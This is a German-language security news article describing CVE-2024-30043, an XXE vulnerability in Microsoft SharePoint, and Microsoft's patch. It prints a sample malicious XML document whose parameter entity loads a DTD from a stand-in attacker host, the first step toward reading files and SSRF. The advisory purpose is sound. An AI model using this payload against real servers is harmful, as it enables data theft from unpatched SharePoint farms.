Schwachstelle in SharePoint: XXE-Angriff ermöglicht Datenexfiltration
Table of Contents
Am 30. Mai 2024 veröffentlichte der Sicherheitsforscher Piotr Bazydło Details zu einer schwerwiegenden Sicherheitslücke in Microsoft SharePoint, die als CVE-2024-30043 bekannt ist. Die XML External Entity (XXE) Schwachstelle betrifft die Klasse Microsoft.SharePoint.WebControls.BaseXmlDataSource, eine abstrakte Basisklasse für Datenquellenobjekte, die zu einer SharePoint-Seite hinzugefügt werden können. Diese Klasse ermöglicht es, Datenquellen spezifisch für eine bestimmte Seite zu definieren. Der kritische Punkt liegt im Execute-Methodenaufruf, der eine URL als Eingabeparameter akzeptiert, welcher auf eine XML-Datei verweist.
Die Schwachstelle wird in zwei Hauptphasen unterteilt: das Abrufen und das Parsen von XML-Daten.
XML-Abruf:
- Die Methode
FetchDatawird verwendet, um XML-Daten basierend auf der angegebenen URL abzurufen. - Es gibt drei Klassen, die diese Methode implementieren:
SoapDataSource: Führt HTTP-SOAP-Anfragen durch.XmlUrlDataSource: Führt anpassbare HTTP-Anfragen durch.SPXmlDataSource: Ruft vorhandene Dateien von der SharePoint-Site ab.
XML-Parsing:
- Obwohl die DTD-Verarbeitung standardmäßig deaktiviert ist, wird ein
XmlSecureResolververwendet, der das Sicherheitsniveau der XML-Entität festlegt. - Der Code liest den Inhalt des XML-Dokuments, wobei eine Schwachstelle in der Art und Weise, wie
XmlReaderundXmlSecureResolverzusammenarbeiten, ausgenutzt werden kann.
Durch geschickte Manipulation und das Einspeisen einer speziellen XML-Datei kann ein Angreifer die XXE-Schwachstelle ausnutzen, um Dateien mit den Berechtigungen des SharePoint Farm Service-Kontos zu lesen, Server-side Request Forgery (SSRF) Angriffe durchzuführen und NTLM-Relaying zu ermöglichen. Ein Beispiel für eine bösartige XML-Datei könnte wie folgt aussehen:
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY % sp SYSTEM "http://attacker/poc.xml">
%sp;
]>
<a>wat</a>
Durch das Einfügen eines speziellen URL-Formats konnte der Sicherheitsforscher die Sicherheitsvorkehrungen umgehen und einen uneingeschränkten Zugriffspolicy im XmlSecureResolver erreichen, wodurch er Dateien lesen und SSRF-Angriffe durchführen konnte.
Microsoft hat die Schwachstelle gepatcht, indem zusätzliche URL-Parsing-Kontrollen für SPXmlDataSource implementiert und die Nutzung von DTDs durch das XmlTextReader-Objekt verboten wurden. Diese Maßnahmen verhindern, dass Parameterentitäten aufgelöst werden, selbst wenn ein Resolver spezifiziert ist.
Update
Mittlerweile wurde ein Exploit veröffentlicht. Es ist also dringend upzudaten.